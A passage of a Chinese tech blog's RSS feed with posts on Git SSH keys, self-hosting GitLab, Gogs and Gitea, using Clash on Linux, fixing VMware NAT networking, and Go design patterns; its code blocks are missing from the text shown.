如果想要删除远程分支,只需要加上一个--delete参数即可,例如

+

SSH

+

在与远程仓库进行交互的时候,默认使用的是HTTP方式,它的缺点很明显,就是每一次都要手动输入账号密码,为此,使用SSH协议来替代HTTP会更好。

+
github支持ssh协议
github支持ssh协议
+

接下来要在本地创建ssh密钥对,打开gitbash,执行如下命令,过程中会要求输入一些信息,根据自己情况来定。

+

默认情况下,它会生成在~/.ssh/目录下,git也是默认从这里去读取你的密钥文件。id.rsa是私钥文件,不可以泄露,否则这个密钥对就没有安全意义了。id.rsa.pub是公钥文件,这是需要向外部暴露的。来到github的setting中,添加新的SSH Keys。

+
+

将公钥文件的内容复制到输入框中,再点击按钮添加公钥。完事后执行如下命令测试下

+

可以看到成功通过SSH认证了,再通过SSH方式克隆一个远程仓库试一试。

+

可以看到成功了,在github密钥管理界面,也能看到密钥的使用情况。

+
+

如此便配置好了通过SSH方式使用git。

+]]>
+ +
+ + 托管服务器 + https://246859.github.io/my-blog-giscus/posts/code/git/4.gitserver.html + https://246859.github.io/my-blog-giscus/posts/code/git/4.gitserver.html + 托管服务器 + 托管服务器 在远程仓库中,有许多优秀的第三方代码托管商可以使用,这对于开源项目而言可能足够使用,但是对于公司或者企业内部,就不能使用第三方的代码托管了,为此我们需要自行搭建代码托管服务器,好在市面上有许多开源的自建解决方案,比如bitbucket,gitlab等。 Gitlab gitlab是一个采用Ruby开发的开源代码管理平台,支持web管理界面,下面会演示如何自己搭建一个GitLab服务器,演示的操作系统为Ubuntu。 关于gitlab更详细的文档可以前往GitLab Docs | GitLab,本文只是一个简单的介绍与基本使用。 + Git + Mon, 05 Dec 2022 00:00:00 GMT + 托管服务器 +

在远程仓库中,有许多优秀的第三方代码托管商可以使用,这对于开源项目而言可能足够使用,但是对于公司或者企业内部,就不能使用第三方的代码托管了,为此我们需要自行搭建代码托管服务器,好在市面上有许多开源的自建解决方案,比如bitbucket,gitlab等。

+

Gitlab

+

gitlab是一个采用Ruby开发的开源代码管理平台,支持web管理界面,下面会演示如何自己搭建一个GitLab服务器,演示的操作系统为Ubuntu。

+

关于gitlab更详细的文档可以前往GitLab Docs | GitLab,本文只是一个简单的介绍与基本使用。

+

开源镜像地址:gitlabhq/gitlabhq: GitLab CE Mirror | Please open new issues in our issue tracker on GitLab.com (github.com)

+
+

提示

+

gitlab要求服务器的最小内存为4g,低于这个值可能会无法正常运行。

+
+

安装

+

首先更新一下索引

+

然后安装几个软件包

+

前往gitlab/gitlab-ce - Packages · packages.gitlab.com官方安装包网站,选择属于你自己对应版本的软件包,这里选择的是ubuntu/focal

+
+

进入该版本,用curl拉取并执行脚本,或者你也可以复制脚本到本地执行

+
+

然后用apt再安装

+

或者你也可以wget把安装包下载到本地手动安装

+
+

安装过程可能会有点久,安装包大概有一两个G,当你看到如下输出时就说明安装成功了。

+

配置

+

gitlab安装完毕后,我们需要做一些初始化的配置。上面的输出configuration in /etc/gitlab/gitlab.rb file已经告知配置文件的地址

+

第一点就是修改外部URL,格式为schema://host:port ,端口不填默认为80端口。

+

修改完后运行,让gitlab重新加载配置。

+

最后会有这么一段输出

+

默认密码存放在指定文件中,且24小时后会自动删除,所以建议及时修改,在浏览器中输入external_url,并输入默认的账号密码,访问gitlab。

+
+

在Admin Area中,访问users模块

+
+

这里的stranger就是默认的管理账号,点击edit修改账号名称和密码。

+
+

至此,基础的使用配置就完成了,可以开始使用了。如果阅读英文有障碍的话,可以前往Admin Area/Settings/Preferences/Localization调整默认的语言设置,支持简繁中。

+

邮箱

+

gitlab大大小小的通知都要用邮箱来进行,邮箱不配置的话,默认发信人就是gitlab@服务IP地址,主要部分在配置文件的这一块。

+

配置完后,使用gitlab-ctl reconfigure重新加载配置,通过命令gitlab-rails console打开控制台,执行

+

测试下能否正常发送邮件,成功就说明配置正常。

+

优化

+

由于gitlab是ruby写的,这个语言最大的问题就是耗内存和性能低,在写这篇文章的时候,我用的是腾讯云活动打折买整的3年2c4g的云服务器,有时候内存爆满访问502,体验比较糟糕,但是服务器价格不菲,升级的费用相当昂贵。为了能够让贫民机器也能够运行,下面讲一下怎么去做一些简单的优化,让gitlab能够在大多数情况下正常运行。整体就两个思路

+
    +
  1. 开启交换内存
  2. +
  3. 关闭一些不必要的插件和功能,节省资源、
  4. +
+

第一种方法开启交换内存就是内存不够用了拿磁盘来凑,建议自己去了解,不属于本文要讲的内容。下面主要讲一下哪些功能是可以关闭的。

+

1.Gravatar,这是一个公共的头像托管平台,头像这种功能没什么太大的必要,建议关闭,设置的地方在Admin Area/Setting/General/Account and limit/

+
+

关闭后,用户头像就会变成文字而非图像。

+

2.关闭Prometheus监控,这是一个gitlab的监控组件,如果只是个人使用可以关闭来节省资源,在配置文件中

+

导入

+

下面要开启一个很有用的特性,就是让gitlab支持从github导入项目,还支持其它的平台,主要有

+
    +
  • Github
  • +
  • BitBucket Cloud
  • +
  • FogBugz
  • +
  • Gitea
  • +
+

也支持url导入,想从什么来源导入就需要去设置里面专门开启

+
+

然后在github中创建一个personal token,需要勾选repo部分,在创建新项目的时候选择导入

+
+

选择github,输入你的personal token,然后就会进入导入页面

+
+

进入到导入页面后,就可以自己选择要导入哪些仓库了。

+
+

其它

+

gitlab总体来说使用起来跟github非常相似,分为三个大的部分,如下图

+
+
    +
  • Your work,就是工作区,仓库的创建,组织的管理等等。
  • +
  • Explore,就类似探索广场,如果你只是自己使用,这个部分没啥太大的用处。
  • +
  • Admin Area,就是后台管理负责的部分,包括用户管理,语言管理,配置管理等等关于这个网站大大小小的细节。
  • +
+

到目前为止已经可以基本使用了,介绍的话真要一个个介绍得写到猴年马月,其它具体怎么使用建议看官方文档。gitlab功能很全,但也比较笨重,它更适合中大型的公司项目,有几百上千人的规模。(光是在我的服务器上搭建测试gitlab,就已经卡死机四五次了)

+

Gogs

+

开源地址:gogs/gogs: Gogs is a painless self-hosted Git service (github.com)

+

文档:Gogs: A painless self-hosted Git service

+
+

如果你只是一个独立开发者,或是一个小团队,我建议使用Gogs,它很小巧,同时也是用go语言进行开发的,所以配置要求相当低,不会像gitlab一样动辄要求2c4g以上的服务器才能运行,即便是在树莓派上也能跑,比较适合小团队。

+
+

可以前往在线体验 - Gogs体验一下功能,页面和功能都相当简洁。

+

Gitea

+

开源地址:go-gitea/gitea

+

文档地址:文档 | Gitea Documentation

+
+

Gitea是由Gogs fork发展而来的,两者的目标都是为了构建尽量小巧的代码托管平台,但是功能要比Gogs更加丰富,属于是Gogs的加强版,个人比较推荐使用这个。

+

前期准备

+

gitea比gitlab小巧很多,所以很多东西需要我们自己进行配置。gitea的orm是XORM,所以XORM支持的数据库基本上都支持,这里使用的是Mysql,通过docker进行搭建。

+

然后创建一个名为gitea的用户

+

然后授权

+

最后测试连接

+

确保你的git版本大于等2.0,然后还要创建用户

+

创建工作路径

+

导出环境变量

+

使用wget下载文件

+

创建软连接

+

配置文件

+

配置文件地址在/var/lib/gitea/custom/conf/app.ini,如果没有需要自行创建,配置文件模板地址在gitea/custom/conf/app.example.ini。Gitea的配置项相当的多,且不像Gitalb那样支持热加载,总体来说分为

+
    +
  • 数据库配置
  • +
  • 站点设置
  • +
  • 服务器设置
  • +
  • 邮箱设置
  • +
  • 三方服务设置
  • +
  • 初始管理员设置
  • +
+

刚开始的话配置好数据库就行了,其它配置gitea后面会有UI界面进行引导,端口默认为3000。

+

定义Linux服务

+

service文件源地址在gitea/contrib/systemd/gitea.service at release/v1.20 · go-gitea/gitea (github.com)

+

将上述内容复制到/etc/systemd/system/gitea.service,然后启动服务

+

初始配置

+

然后访问地址,根据gitea的引导进行初始化配置,gitea并不会像gitlab一样可以热加载配置,gitea所有的配置都需要修配置文件。

+
+

你也可以在初始化时设置管理员账号,或者也可以在后续注册,第一个用户默认为管理员,其它的配置自己根据需求来定。

+
+

记得确保当前用户具有修改配置文件的权限,然后点击安装,加载几秒后就可以了。

+
+

然后进入到主页面就可以使用了

+
+

运行后相当的流畅,这里放一张性能图。

+
+

导入仓库

+

导入的话支持以下几个仓库

+
+

还是以github为例,拿到自己的personal token,输入想要导入的url

+
+

这些操作基本上跟gtilab一致。

+]]>
+ +
+ + 在Linux上使用clash + https://246859.github.io/my-blog-giscus/posts/code/linux/clash_on_linux.html + https://246859.github.io/my-blog-giscus/posts/code/linux/clash_on_linux.html + 在Linux上使用clash + 在Linux上使用clash + Linux + Thu, 14 Sep 2023 00:00:00 GMT + 在Linux上使用clash + + +
+

最近在测试SteamAPI Client,不得不吐槽一下steam提供的web接口返回的响应结构真是多种多样,可以看的出来都是陈年老项目了。不过重点不是这个,虽然Steam的游戏服务在国内不需要梯子也可以访问,但是他们提供的接口如果不走代理的话,那基本上请求十次八次超时,为了解决这个问题只好在测试机上弄clash。

+

clash是用go编写的,一大好处就是安装非常方便,因为除了一个二进制文件其它什么都不需要,并且还是开源跨平台的。

+

安装

+

开源地址:Dreamacro/clash: A rule-based tunnel in Go. (github.com)

+

从release中找到最新版,然后找到对应的版本。

+
+

wget下载到本地

+

gzip解压

+

为了方便使用将其链接到bin目录下

+

完事后查看版本,输出没问题就是安装成功了

+

代理

+

导入配置文件,clash的配置文件相当复杂,一般你的代理服务商都会提供现有的配置以供导入,比如我使用的glados

+

然后启动clash,指定配置文件和路径,-d指的是配置目录,clash在刚开始时会尝试下载country.db如果不存在的话。

+

有如下输出即可

+

可以看到http代理端口7890,由于socks不需要就不配置。

+

在配置生效前来看看请求steamapi是什么效果,可以看到失败了。

+

在开启clash后

+

clash日志这里也有输出,是走了代理的

+

如果有需求的话,可以做成系统服务,进行更加方便的管理。

+]]>
+ +
+ + Vmware虚拟机Nat模式网络不通 + https://246859.github.io/my-blog-giscus/posts/code/linux/nat_loss.html + https://246859.github.io/my-blog-giscus/posts/code/linux/nat_loss.html + Vmware虚拟机Nat模式网络不通 + Vmware虚拟机Nat模式网络不通 + Linux + Mon, 21 Aug 2023 00:00:00 GMT + Vmware虚拟机Nat模式网络不通 +
+ +
+

我的主机是win10,主要拿来写代码,一些服务比如数据库什么的都是搭建在虚拟机里面,有一天打开的虚拟机的时候发现没法访问数据库了,尝试Ping了一下也不成功。

+
+

虚拟机用的是Ubuntu22.04版本,Nat模式出现这种情况可能就是网段不一致,在cmd上执行ipconfig命令看了看发现果然是这样

+
+

可以看到Vm8网卡的自动配置的IPV4地址网段与虚拟机并不一致,由于设置了自动配置,不知道什么时候改的,这里需要手动的设置一下。在win10界面打开控制面板查看网卡设置,选择Vm8虚拟网卡,接下来需要手动的配置IP地址。

+
+

将IP地址设置成与虚拟机同一个网段即可,DNS服务器选择国内通用的114.114.114.114,备用的DNS服务器是谷歌的8.8.8.8,完成后再来试一试。

+
+

并且虚拟机也可以ping通主机

+
+

于是问题就解决了。

+]]>
+ +
+ + 所谓模式 + https://246859.github.io/my-blog-giscus/posts/code/pattern/00.start.html + https://246859.github.io/my-blog-giscus/posts/code/pattern/00.start.html + 所谓模式 + 所谓模式 要说将设计模式发扬光大的语言还得是Java,虽然本质上来说,设计模式是一门语言无关的学问,但几乎所有设计模式的教学语言都是用的是Java,毫无疑问Java是使用设计模式最多的语言,因为它是一个很典型的面向对象的语言,万物皆对象,很显然设计模式就是面向对象的,这是一个优点也是一个缺点,因为有时候过度设计同样会造成难以维护的问题。设计模式起源于建筑工程行业而非计算机行业,它并不像算法一样是经过严谨缜密的逻辑推算出来的,而是经过不断的实践与测试总结出来的经验。使用设计模式是为了代码重用性更好,更容易被他人理解,以及更好维护的代码结构。 + 设计模式 + Thu, 28 Sep 2023 00:00:00 GMT + 所谓模式 +

要说将设计模式发扬光大的语言还得是Java,虽然本质上来说,设计模式是一门语言无关的学问,但几乎所有设计模式的教学语言都是用的是Java,毫无疑问Java是使用设计模式最多的语言,因为它是一个很典型的面向对象的语言,万物皆对象,很显然设计模式就是面向对象的,这是一个优点也是一个缺点,因为有时候过度设计同样会造成难以维护的问题。设计模式起源于建筑工程行业而非计算机行业,它并不像算法一样是经过严谨缜密的逻辑推算出来的,而是经过不断的实践与测试总结出来的经验。使用设计模式是为了代码重用性更好,更容易被他人理解,以及更好维护的代码结构。

+

对于Go而言,也很有学习设计模式的必要,不过需要注意的是,并不是任何时候都需要设计模式,设计模式本就是前人总结的经验,也会有不适用的时候,这些需要自行判断,拒绝言必设计模式。学习设计模式是为了提升编码水平,而不是限制我们的思想。

+
+

提示

+

Go本身是没有类的说法,与之相似的只有结构体,但是Go又是一门比较偏向于面向对象的语言,所以往后所称的类都是在指接口或结构体。

+
+

类型

+

设计模式中总共有6大原则,23种设计模式。设计模式大概可分为三类:创建型,结构型,行为型。

+ + + + + + + + + + + + + + + + + + + + + +
类型模式
创建型工厂模式,抽象工厂模式,单例模式,建造者模式,原型模式
结构型适配器模式,桥接模式,过滤器模式,组合模式,装饰器模式,外观模式,享元模式,代理模式
行为型责任链模式,命令模式,解释器模式,迭代器模式,中介者模式,备忘录模式,观察者模式,状态模式,空对象模式,策略模式,模板模式,访问者模式
+

原则

+

6大原则分别是:

+
    +
  • 开闭原则
  • +
  • 单一职责原则
  • +
  • 里氏替换原则
  • +
  • 依赖倒转原则
  • +
  • 接口隔离原则
  • +
  • 迪米特法则
  • +
  • 合成复用原则
  • +
+
+

提示

+

设计模式这种东西光看介绍是看不懂的,背下来也没用,因为本就是实践才出来东西,不亲自敲一遍是不知道到底是个怎么回事,而且一千个人有一千个写法,例如在本站的设计模式看不懂,说不定去看看其他人的实现就豁然开朗了。顺便提醒一下,如果带着纯粹的面向对象的眼光去看待和学习Go语言,将会十分的痛苦与折磨,Go抛弃了类和继承的概念,对于习惯了Java这类语言的程序员来说是十分不友好的。

+
+

本章借鉴了:senghoo/golang-design-pattern: 设计模式 Golang实现-《研磨设计模式》读书笔记 (github.com)

+]]>
+
+ + 设计原则 + https://246859.github.io/my-blog-giscus/posts/code/pattern/01.principle.html + https://246859.github.io/my-blog-giscus/posts/code/pattern/01.principle.html + 设计原则 + 设计原则 这六大原则是比较经典的,它们是所有设计模式的基石,也是编码的基本规范,前面讲到不要过度设计,但六大原则是一个优秀的代码应当遵守最基本的规范。 开闭原则 这是一个十分经典的原则,也是最基础的原则,就只有10个字的内容,对拓展开放,对修改关闭。一个程序应当具有相应的拓展性,假设开发了一个Go第三方依赖库,倘若调用者想要自定义功能只能去修改依赖库的源代码,但是每个人都有不同的需求,难道每个人都要改一遍源代码吗,这么做的结果显然是非常恐怖的,代码会变得异常难以维护。 单一职责原则 + 设计模式 + Sun, 01 Oct 2023 00:00:00 GMT + 设计原则 +

这六大原则是比较经典的,它们是所有设计模式的基石,也是编码的基本规范,前面讲到不要过度设计,但六大原则是一个优秀的代码应当遵守最基本的规范。

+

开闭原则

+

这是一个十分经典的原则,也是最基础的原则,就只有10个字的内容,对拓展开放,对修改关闭。一个程序应当具有相应的拓展性,假设开发了一个Go第三方依赖库,倘若调用者想要自定义功能只能去修改依赖库的源代码,但是每个人都有不同的需求,难道每个人都要改一遍源代码吗,这么做的结果显然是非常恐怖的,代码会变得异常难以维护。

+

单一职责原则

+

一个接口,或则一个结构体,或者一个函数,都应当被封装的只有一个职责。这个原则是为了降低代码耦合度,应当尽可能负责更少的功能,而不是全部糅杂在一起。

+

里氏替换原则

+

这个原则的原意会比较晦涩难懂,在实现接口或者”继承“时会用到的比较多,原文是:“如果S是T的子类型,对于S类型的任意对象,如果将他们看作是T类型的对象,则对象的行为也理应与期望的行为一致”。替换指的是任何实现T类型的对象或者子类,都可以当作成T类型的对象来使用,行为一致指的得是被替换后,原有的功能正常使用,不会有任何变化。

+

里氏替换原则本质上就是多态,结合依赖倒转原则一起使用就是面向接口编程的核心思想。

+

依赖倒转原则

+

依赖倒转原则指的是:针对抽象接口编程,而非针对具体实现。例如在编写一个函数或方法时,对于参数我们都会将其设置为对应的接口类型,而不是接口的实现,这样有利于后续的拓展。

+

接口隔离原则

+

接口隔离原则值得是尽量降低接口的耦合度,接口要尽量的小,而不是把所有东西都糅杂到接口里,依赖该接口的调用者,不应当访问到不需要用到的接口方法,接口内不应该存在调用者不需要的接口给方法。

+

最少知道法则

+

又称迪米特法则,接口与接口之间,模块与模块之间,实体与实体之间应当只存在最低限度的认识和相互作用,使得功能相对独立而受到的影响最少。

+

合成复用原则

+

复用时尽可能的使用组合聚合的关系,而不是继承。继承确实可以很简单的复用,但是这会破坏封装性,灵活性低,耦合度高。

+]]>
+
+ + 创建型模式 + https://246859.github.io/my-blog-giscus/posts/code/pattern/02.create.html + https://246859.github.io/my-blog-giscus/posts/code/pattern/02.create.html + 创建型模式 + 创建型模式 创建型模式的主要关注点是“怎样创建对象?”,它的主要特点是“将对象的创建与使用分离”。 这样可以降低系统的耦合度,使用者不需要关注对象的创建细节。 简单工厂模式 这种类型的设计模式属于创建型模式,它提供了一种创建对象的最佳方式。在工厂模式中,我们在创建对象时不会对客户端暴露创建逻辑,并且是通过使用一个共同的接口来指向新创建的对象。 在Go中是没有构造函数的说法,一般会定义Newxxxx函数来初始化相关的结构体或接口,而通过Newxxx函数来初始化返回接口时就是简单工厂模式,一般对于Go而言,最推荐的做法就是简单工厂。 + 设计模式 + Tue, 03 Oct 2023 00:00:00 GMT + 创建型模式 +

创建型模式的主要关注点是“怎样创建对象?”,它的主要特点是“将对象的创建与使用分离”。 这样可以降低系统的耦合度,使用者不需要关注对象的创建细节。

+

简单工厂模式

+

这种类型的设计模式属于创建型模式,它提供了一种创建对象的最佳方式。在工厂模式中,我们在创建对象时不会对客户端暴露创建逻辑,并且是通过使用一个共同的接口来指向新创建的对象。

+

在Go中是没有构造函数的说法,一般会定义Newxxxx函数来初始化相关的结构体或接口,而通过Newxxx函数来初始化返回接口时就是简单工厂模式,一般对于Go而言,最推荐的做法就是简单工厂。

+

对于Go而言,工厂模式显得不那么重要,因为Go并不像Java万物都需要new出来,也并不需要一个专门的接口或者结构体来统一管理创建对象,并且Go的调用是基于包而不是结构体或者接口。

+

优点:封装了创建的逻辑

+

缺点:每新增一个生物的实现,就要修改一次创建逻辑

+

工厂方法模式

+

工厂方法的区别在于,简单工厂是直接创建对象并返回,而工厂模式只定义一个接口,将创建的逻辑交给其子类来实现,即将创建的逻辑延迟到子类。

+
    +
  • 抽象工厂(Abstract Factory):提供了创建产品的接口,调用者通过它访问具体工厂的工厂方法来创建产品。
  • +
  • 具体工厂(ConcreteFactory):主要是实现抽象工厂中的抽象方法,完成具体产品的创建。
  • +
  • 抽象产品(Product):定义了产品的规范,描述了产品的主要特性和功能。
  • +
  • 具体产品(ConcreteProduct):实现了抽象产品角色所定义的接口,由具体工厂来创建,它同具体工厂之间一一对应。
  • +
+

输出

+

优点:封装了创建逻辑,将创建逻辑延迟到子类

+

缺点:新增一个生物实现时不需要再修改原有的逻辑,但需要新增一个对应的工厂实现。

+

抽象工厂模式

+

抽象工厂模式是工厂方法模式的升级版本,工厂方法模式只生产一个等级的产品,而抽象工厂模式可生产多个等级的产品。

+
    +
  • 抽象工厂(Abstract Factory):提供了创建产品的接口,它包含多个创建产品的方法,可以创建多个不同等级的产品。
  • +
  • 具体工厂(Concrete Factory):主要是实现抽象工厂中的多个抽象方法,完成具体产品的创建。
  • +
  • 抽象产品(Product):定义了产品的规范,描述了产品的主要特性和功能,抽象工厂模式有多个抽象产品。
  • +
  • 具体产品(ConcreteProduct):实现了抽象产品角色所定义的接口,由具体工厂来创建,它同具体工厂之间是多对一的关系。
  • +
+

接下来创建一个职业接口,有工匠和士兵两个职业,人分为亚洲人,欧洲人。倘若继续使用工厂方法模式,就需要给人创建一个抽象工厂,再分别创建两个人种创建具体工厂,职业也是类似,一个工厂只能创建同一类的实体,这样做会导致代码量大幅度增加。抽象工厂就是为了解决这个问题而生的。

+

优点:当更换一套适用的规则时,例如将全部亚洲人换成欧洲人,可以做到无缝更换,只需要换一个工厂即可,不会有任何影响。

+

缺点:当内部出现变化的话,几乎所有工厂都要做出对应的变化,例如新增一个人种或新增一个职业。

+

建造者模式

+

建造者模式可以将部件和其组装过程分开,一步一步创建一个复杂的对象。用户只需要指定复杂对象的类型就可以得到该对象,而无须知道其内部的具体构造细节。

+

抽象建造者类(Builder):这个接口规定要实现复杂对象的那些部分的创建,并不涉及具体的部件对象的创建。

+

具体建造者类(ConcreteBuilder):实现Builder接口,完成复杂产品的各个部件的具体创建方法。在构造过程完成后,提供产品的实例。

+

产品类(Product):要创建的复杂对象。

+

指挥者类(Director):调用具体建造者来创建复杂对象的各个部分,在指导者中不涉及具体产品的信息,只负责保证对象各部分完整创建或按某种顺序创建。

+

下面以造汽车为例子,汽车需要安装引擎,轮胎,地盘,车架。需要一个汽车建造者接口,和两个实现,分别是卡车建造者和公交车建造者,最后是一个指挥者。

+

输出

+

一般建造者模式在部件构建顺序和次序不太复杂的时候,都会选择将指挥者嵌入建造者中,本例选择分离了出来,比较符合单一职责原则,并且可以修改一下逻辑,改为链式调用会更好些。

+

优点:建造者模式的封装性很好。使用建造者模式可以有效的封装变化,在使用建造者模式的场景中,一般产品类和建造者类是比较稳定的,因此,将主要的业务逻辑封装在指挥者类中对整体而言可以取得比较好的稳定性。

+

缺点:造者模式所创建的产品一般具有较多的共同点,其组成部分相似,如果产品之间的差异性很大,则不适合使用建造者模式,因此其使用范围受到一定的限制。

+

原型模式

+

用一个已经创建的实例作为原型,通过复制该原型对象来创建一个和原型对象相同的新对象。

+

抽象原型类:规定了具体原型对象必须实现的的 clone() 方法。

+

具体原型类:实现抽象原型类的 clone() 方法,它是可被复制的对象。

+

访问类:使用具体原型类中的 clone() 方法来复制新的对象。

+
+

提示

+

在Go中深克隆一个对象并不属于设计模式的范畴

+
+

单例模式

+

这种模式涉及到一个单一的类,该类负责创建自己的对象,同时确保只有单个对象被创建。这个类提供了一种访问其唯一的对象的方式,可以直接访问,不需要实例化该类的对象。

+

懒汉方式是延迟加载,即被访问时才加载,饿汉方式是当包加载时该单例就被加载。

+]]>
+
+ + 结构型模式 + https://246859.github.io/my-blog-giscus/posts/code/pattern/03.structure.html + https://246859.github.io/my-blog-giscus/posts/code/pattern/03.structure.html + 结构型模式 + 结构型模式 结构型模式描述如何将类或对象按某种布局组成更大的结构。它分为类结构型模式和对象结构型模式, 前者采用继承机制来组织接口和类,后者釆用组合或聚合来组合对象。 由于组合关系或聚合关系比继承关系耦合度低,满足“合成复用原则”,所以对象结构型模式比类结构型 模式具有更大的灵活性。 代理模式 由于某些原因需要给某对象提供一个代理以控制对该对象的访问。这时,访问对象不适合或者不能直接引用目标对象,代理对象作为访问对象和目标对象之间的中介。 抽象主题(Subject)接口: 通过接口或抽象类声明真实主题和代理对象实现的业务方法。 真实主题(Real Subject)类: 实现了抽象主题中的具体业务,是代理对象所代表的真实对象,是最终要引用的对象。 代理(Proxy)类 :提供了与真实主题相同的接口,其内部含有对真实主题的引用,它可以访问,控制或扩展真实主题的功能。 + 设计模式 + Fri, 06 Oct 2023 00:00:00 GMT + 结构型模式 +

结构型模式描述如何将类或对象按某种布局组成更大的结构。它分为类结构型模式和对象结构型模式, 前者采用继承机制来组织接口和类,后者釆用组合或聚合来组合对象。 由于组合关系或聚合关系比继承关系耦合度低,满足“合成复用原则”,所以对象结构型模式比类结构型 模式具有更大的灵活性。

+

代理模式

+

由于某些原因需要给某对象提供一个代理以控制对该对象的访问。这时,访问对象不适合或者不能直接引用目标对象,代理对象作为访问对象和目标对象之间的中介。

+
    +
  • +

    抽象主题(Subject)接口: 通过接口或抽象类声明真实主题和代理对象实现的业务方法。

    +
  • +
  • +

    真实主题(Real Subject)类: 实现了抽象主题中的具体业务,是代理对象所代表的真实对象,是最终要引用的对象。

    +
  • +
  • +

    代理(Proxy)类 :提供了与真实主题相同的接口,其内部含有对真实主题的引用,它可以访问,控制或扩展真实主题的功能。

    +
  • +
+

上述这种代理方式是静态代理,对Java有过了解的人可能会想着在Go中搞动态代理,但显然这是不可能的。要知道动态代理的核心是反射,Go确实支持反射,但不要忘了一点是Go是纯粹的静态编译型语言,而Java看似是一个编译型语言,但其实是一个动态的解释型语言,JDK动态代理就是在运行时生成字节码然后通过类加载器加载进JVM的,这对于Go来讲是完全不可能的事情。

+

适配器模式

+

将一个类的接口转换成客户希望的另外一个接口,使得原本由于接口不兼容而不能一起工作的那些类能一起工作。 适配器模式分为类适配器模式和对象适配器模式,前者类之间的耦合度比后者高,且要求程序员了解现有组件库中的相关组件的内部结构,所以应用相对较少些。

+
    +
  • 目标(Target)接口:当前系统业务所期待的接口,它可以是抽象类或接口。
  • +
  • 适配者(Adaptee)类:它是被访问和适配的现存组件库中的组件接口。
  • +
  • 适配器(Adapter)类:它是一个转换器,通过继承或引用适配者的对象,把适配者接口转换成目标接口,让客户按目标接口的格式访问适配者。
  • +
+

举个例子,现在有一个苹果手机,它只支持苹果充电器,但是手上只有一个安卓充电器,这时候需要一个适配器让安卓充电器也可以给苹果手机充电。

+

适配模式分类适配和对象适配,区别在于前者在适配原有组件时使用的是继承,而后者是组合,通常建议用后者。

+

装饰模式

+

装饰模式又名包装(Wrapper)模式。装饰模式以对客户端透明的方式扩展对象的功能,是继承关系的一个替代方案。

+
    +
  • 抽象构件(Component)角色 :定义一个抽象接口以规范准备接收附加责任的对象。
  • +
  • 具体构件(Concrete Component)角色:实现抽象构件,通过装饰角色为其添加一些职责。
  • +
  • 抽象装饰(Decorator)角色 :继承或实现抽象构件,并包含具体构件的实例,可以通过其子类扩展具体构件的功能。
  • +
  • 具体装饰(ConcreteDecorator)角色 :实现抽象装饰的相关方法,并给具体构件对象添加附加的责任。
  • +
+

在Go语言中可以通过实现或者匿名组合可以很轻易的实现装饰者模式,装饰者模式又分为全透明和半透明,区别在于是否改变被装饰接口的定义。

+

这是全透明的装饰模式

+

这是半透明装饰模式,半透明的装饰模式是介于装饰模式和适配器模式之间的。适配器模式的用意是改变所考虑的类的接口,也可以通过改写一个或几个方法,或增加新的方法来增强或改变所考虑的类的功能。大多数的装饰模式实际上是半透明的装饰模式,这样的装饰模式也称做半装饰、半适配器模式。

+

代理模式和透明装饰者模式的区别

+

相同点

+
    +
  • 都要实现与目标类相同的业务接口
  • +
  • 都要声明目标对象为成员变量
  • +
  • 都可以在不修改目标类的前提下增强目标方法
  • +
+

不同点

+
    +
  • 目的不同装饰者是为了增强目标对象静态代理是为了保护和隐藏目标对象
  • +
  • 获取目标对象构建的地方不同装饰者是由外界传递进来,可以通过构造方法传递静态代理是在代理类内部创建,以此来隐藏目标对象
  • +
+

外观模式

+

又名门面模式,是一种通过为多个复杂的子系统提供一个一致的接口,而使这些子系统更加容易被访问的模式。该模式对外有一个统一接口,外部应用程序不用关心内部子系统的具体的细节,这样会大大降低应用程序的复杂度,提高了程序的可维护性,是迪米特法则的典型应用。

+
    +
  • 外观(Facade)角色:为多个子系统对外提供一个共同的接口。
  • +
  • 子系统(Sub System)角色:实现系统的部分功能,客户可以通过外观角色访问它。
  • +
+

例子:以前到家需要自己手动开电视,开空调,现在有了智能控制器,可以直接控制电视和空调,不再需要手动操作

+

优点

+

降低了子系统与客户端之间的耦合度,使得子系统的变化不会影响调用它的客户类。

+

对客户屏蔽了子系统组件,减少了客户处理的对象数目,并使得子系统使用起来更加容易。

+

缺点

+

不符合开闭原则,修改很麻烦

+

桥接模式

+

将抽象与实现分离,使它们可以独立变化。它是用组合关系代替继承关系来实现,从而降低了抽象和实现这两个可变维度的耦合度。

+

例子:需要开发一个跨平台视频播放器,可以在不同操作系统平台(如Windows、Mac、Linux等)上播放多种格式的视频文件,常见的视频格式包括RMVB、AVI等。该播放器包含了两个维度,适合使用桥接模式。

+

桥接模式提高了系统的可扩充性,在两个变化维度中任意扩展一个维度,都不需要修改原有系统。

+

组合模式

+

又名部分整体模式,是用于把一组相似的对象当作一个单一的对象。组合模式依据树形结构来组合对象,用来表示部分以及整体层次。这种类型的设计模式属于结构型模式,它创建了对象组的树形结构。

+
    +
  • 抽象根节点(Component):定义系统各层次对象的共有方法和属性,可以预先定义一些默认行为和属性。
  • +
  • 树枝节点(Composite):定义树枝节点的行为,存储子节点,组合树枝节点和叶子节点形成一个树形结构。
  • +
  • 叶子节点(Leaf):叶子节点对象,其下再无分支,是系统层次遍历的最小单位。
  • +
+

抽象根节点定义默认行为和属性,子类根据需求去选择实现和不实现哪些操作,虽然违背了接口隔离原则,但是在一定情况下非常适用。

+

组合模式分为透明组合模式和安全组合模式,区别在于,树枝节点与叶子节点在接口的表现上是否一致,前者是完全一致,但是需要额外的处理避免无意义的调用,而后者虽然避免了无意义的调用,但是对于客户端来说不够透明,叶子节点与树枝节点具有不同的方法,以至于不能很好的抽象。

+

享元模式

+

运用共享技术来有效地支持大量细粒度对象的复用。它通过共享已经存在的对象来大幅度减少需要创建的对象数量、避免大量相似对象的开销,从而提高系统资源的利用率。

+

享元(Flyweight )模式中存在以下两种状态:

+

1.内部状态,即不会随着环境的改变而改变的可共享部分。

+

2.外部状态,指随环境改变而改变的不可以共享的部分。享元模式的实现要领就是区分应用中的这两种状态,并将外部状态外部化。

+
    +
  • 抽象享元角色(Flyweight):通常是一个接口或抽象类,在抽象享元类中声明了具体享元类公共的方法,这些方法可以向外界提供享元对象的内部数据(内部状态),同时也可以通过这些方法来设置外部数据(外部状态)。
  • +
  • 具体享元(Concrete Flyweight)角色 :它实现了抽象享元类,称为享元对象;在具体享元类中为内部状态提供了存储空间。通常我们可以结合单例模式来设计具体享元类,为每一个具体享元类提供唯一的享元对象。
  • +
  • 非享元(Unsharable Flyweight)角色 :并不是所有的抽象享元类的子类都需要被共享,不能被共享的子类可设计为非共享具体享元类;当需要一个非共享具体享元类的对象时可以直接通过实例化创建。
  • +
